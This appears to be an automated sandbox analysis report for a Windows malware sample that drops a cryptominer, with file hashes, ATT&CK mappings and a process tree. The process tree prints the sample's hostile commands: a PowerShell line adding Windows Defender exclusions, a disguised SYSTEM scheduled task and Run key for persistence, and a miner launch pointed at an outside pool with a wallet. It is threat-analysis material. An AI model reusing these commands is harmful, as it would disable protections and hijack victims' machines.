12a3394badc5645c5d6fb335d659ef20ab04375008f66606986e6e2b450c0b97

Analysis

max time kernel
150s
max time network
152s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
31/07/2026, 13:20

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-07-31_ff87389309d9caff2622c6c94d9a49be_cryptbot_icedid_luca-stealer_njrat_stealc.exe
Size 28.5MB
Sample260731-qld1lstdre
SHA256 12a3394badc5645c5d6fb335d659ef20ab04375008f66606986e6e2b450c0b97
MD5 ff87389309d9caff2622c6c94d9a49be
SHA1 50b4ff3087d95adc45cfc46abc6c655537c128de
SHA512 964bad8ba042eaac9778e92ab30c174b5f08926b1d5e7104bfc55374a1b65b1e64e92e8167f7ac3d08253c15210dafc975055c623690aee93c0c821240b95567
SSDEEP 786432:cZQHaIj1Tbc+3LpslPyxhEpILmcJJmaEQ7++O2bV2p8:h6IjCmelPShXmWALQ7++OGUW
TLSH
T13167331196951EBEF11BD1388D920D02EB793C1D8774926F0354E7A28D0BA92CF7E763
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

defense_evasion execution persistence privilege_escalation

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
1940	powershell.exe

Disables Task Manager via registry modification
defense_evasion

Checks computer location settings 2 TTPs 3 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000\Control Panel\International\Geo\Nation	2026-07-31_ff87389309d9caff2622c6c94d9a49be_cryptbot_icedid_luca-stealer_njrat_stealc.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000\Control Panel\International\Geo\Nation	wscript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000\Control Panel\International\Geo\Nation	wscript.exe

Creates a file in the Startup directory 1 TTPs 1 IoCs

A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

persistence privilege_escalation

Registry Run Keys / Startup Folder

T1547.001

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowsTask.vbs	wscript.exe

Executes dropped EXE 1 IoCs

pid	Process
1532	SRBMiner-MULTI.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WindowsUpdateTask = "wscript.exe \"C:\\Users\\Admin\\AppData\\Roaming\\WindowsTask\\task.vbs\""	wscript.exe

Indicator Removal: Clear Persistence 1 TTPs 1 IoCs

Clear artifacts associated with previously established persistence like scheduletasks on a host.

defense_evasion

Clear Persistence

T1070.009

pid	Process
2200	cmd.exe

Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs

execution

Visual Basic

T1059.005

pid	Process
1828	wscript.exe
3916	wscript.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
1532	SRBMiner-MULTI.exe
1532	SRBMiner-MULTI.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4380	cmd.exe
3268	cmd.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
4220	schtasks.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1940	powershell.exe
1940	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	1940	powershell.exe
Token: SeLockMemoryPrivilege	1532	SRBMiner-MULTI.exe

Suspicious use of WriteProcessMemory 9 IoCs

description	pid	Process	procid_target
PID 1944 wrote to memory of 1828	1944	2026-07-31_ff87389309d9caff2622c6c94d9a49be_cryptbot_icedid_luca-stealer_njrat_stealc.exe	84
PID 1828 wrote to memory of 3916	1828	wscript.exe	85
PID 3916 wrote to memory of 2200	3916	wscript.exe	86
PID 2200 wrote to memory of 4792	2200	cmd.exe	89
PID 3916 wrote to memory of 4380	3916	wscript.exe	90
PID 4380 wrote to memory of 4220	4380	cmd.exe	92
PID 3916 wrote to memory of 1940	3916	wscript.exe	93
PID 3916 wrote to memory of 1532	3916	wscript.exe	97
PID 1532 wrote to memory of 3268	1532	SRBMiner-MULTI.exe	99

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\2026-07-31_ff87389309d9caff2622c6c94d9a49be_cryptbot_icedid_luca-stealer_njrat_stealc.exe
"C:\Users\Admin\AppData\Local\Temp\2026-07-31_ff87389309d9caff2622c6c94d9a49be_cryptbot_icedid_luca-stealer_njrat_stealc.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1944
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" launcher.vbs
  2⤵
  - Checks computer location settings
  - Executes a VBScript file via the Windows Script Host.
  - Suspicious use of WriteProcessMemory
  PID:1828
- - C:\Windows\System32\wscript.exe
    "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\launcher.vbs" /Elevated
    3⤵
    - Checks computer location settings
    - Creates a file in the Startup directory
    - Adds Run key to start application
    - Executes a VBScript file via the Windows Script Host.
    - Suspicious use of WriteProcessMemory
    PID:3916
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c schtasks /delete /tn "WindowsUpdateTask" /f
      4⤵
      Indicator Removal: Clear Persistence
      Suspicious use of WriteProcessMemory
      PID:2200
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /delete /tn "WindowsUpdateTask" /f
        5⤵
        
        PID:4792
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "WindowsUpdateTask" /tr "wscript.exe \"C:\Users\Admin\AppData\Roaming\WindowsTask\task.vbs\"" /sc onstart /ru system /rl highest /f
      4⤵
      Executes a command shell one-liner
      Suspicious use of WriteProcessMemory
      PID:4380
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn "WindowsUpdateTask" /tr "wscript.exe \"C:\Users\Admin\AppData\Roaming\WindowsTask\task.vbs\"" /sc onstart /ru system /rl highest /f
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:4220
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\WindowsTask'; Add-MpPreference -ExclusionProcess 'SRBMiner-MULTI.exe'; Add-MpPreference -ExclusionExtension '.exe'"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1940
  - - C:\Users\Admin\AppData\Roaming\WindowsTask\SRBMiner-MULTI.exe
      "C:\Users\Admin\AppData\Roaming\WindowsTask\SRBMiner-MULTI.exe" --algorithm-gpu pearlhash --pool hk.pearl.gfwroute.com:1200 --wallet prl1pua8c6gxdqmgmvqrscs73c9vzkalr4xja2sn76j2u6yfjy2vj63ss37lnwd --worker cbWV4lj9
      4⤵
      Executes dropped EXE
      Suspicious use of NtSetInformationThreadHideFromDebugger
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:1532
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c set
        5⤵
        Executes a command shell one-liner
        
        PID:3268

C:\Windows\system32\wscript.exe
wscript.exe
1⤵
PID:4780

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Visual Basic

T1059.005

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Indicator Removal

T1070

Clear Persistence

T1070.009

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

SRBMiner-MULTI.exe

Path C:\Users\Admin\AppData\Local\Temp\SRBMiner-MULTI.exe
Size 28.3MB
SHA256 94a8074259a54537f285f146b0f98111ab8771bc456dd28568d23bab83526447
MD5 419c5d8fcce9c1931290150cd8ce4524
SHA1 45682cc974816ed8cbcba8787e1fc08a15617186
SHA512 3cf7c0ea560297b2315b19bee43396af7fde150170629073d54c1fbceaa701b4d3cfb647875c27a032f999724974df847dbc8837c4fd69197f8ada2fdaa6dce8
SSDEEP 393216:4Wc4cl5N3yrrm+4bIEZG7+P5e+idMOyB3dmSKKj8D920tRn/rSk4QxFHKw1VSfrJ:45Em+KKD+dgKje92S/rr4QxFHKmEf
TLSH
T12E57331447B4CE66C2CA157CA634306836ACFCD4AB5261CAE6E11EF3626E735BC36734
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

__PSScriptPolicyTest_1j5mv2ql.xuk.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_1j5mv2ql.xuk.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

launcher.vbs

Path C:\Users\Admin\AppData\Local\Temp\launcher.vbs
Size 5KB
SHA256 7893dc30af94f58906e0699434eeda057696d1f9a3dcddf376b678e983a6028d
MD5 957409ab1e862fdca6f9167616e8cf1d
SHA1 2e4f6930056571e1b9b580d26a6a5b6812aac1a3
SHA512 b6ed2a1a11f7ede297f10e7cee38b20918e02ab8c32d08aa5803c7392c4280a45668f7957f4d60d7e06099eacb4f635704eed888e7aa3b07f8ff3e62850ae112
SSDEEP 96:z1HwRBaDwsOc/BFtcX+SU3z7111IA4qhtQSAAitSVFbOAfDetqAAtYt:zVAuDD/bt8yzttVwt
TLSH
T12BB18382FE1F5F31CA7653510186580DFFA60233A7B548293ECC880EDB22B6CB2D0CA4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/1532-35-0x00007FF6BA480000-0x00007FF6BD8BF000-memory.dmp

Download

memory/1532-33-0x00007FF6BA480000-0x00007FF6BD8BF000-memory.dmp

Download

memory/1532-34-0x00007FF6BA480000-0x00007FF6BD8BF000-memory.dmp

Download

memory/1532-36-0x00007FF6BA480000-0x00007FF6BD8BF000-memory.dmp

Download

memory/1532-37-0x00007FF6BA480000-0x00007FF6BD8BF000-memory.dmp

Download

memory/1532-38-0x00007FF6BA480000-0x00007FF6BD8BF000-memory.dmp

Download

memory/1532-39-0x00007FF6BA480000-0x00007FF6BD8BF000-memory.dmp

Download

memory/1532-40-0x00007FF6BA480000-0x00007FF6BD8BF000-memory.dmp

Download

memory/1532-41-0x00007FF6BA480000-0x00007FF6BD8BF000-memory.dmp

Download

memory/1940-18-0x000001B32D510000-0x000001B32D532000-memory.dmp

Download